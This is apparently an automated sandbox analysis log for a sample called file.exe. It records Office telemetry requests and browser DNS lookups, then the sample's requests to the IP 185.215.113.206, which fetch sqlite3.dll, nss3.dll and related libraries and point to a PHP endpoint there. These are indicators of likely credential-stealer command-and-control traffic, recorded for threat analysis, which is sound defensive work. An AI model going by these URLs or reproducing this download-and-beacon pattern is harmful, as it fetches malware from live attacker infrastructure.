Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: 96494bd7-2668-4a29-ba61-64eb55ebb07f.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log6.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log6.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log6.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: 15.164.165.52.in-addr.arpa

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, file.exe, 00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2459973983.0000000000D66000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3&
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php4
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php?
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpA
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpBrowser
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpX
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpeam
Source: file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phplL
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpp
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpw
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllQ
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll465cf17784/vcruntime140.dlla
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllI
Source: file.exe, 00000000.00000002.2459973983.0000000000CAC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206BGD
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
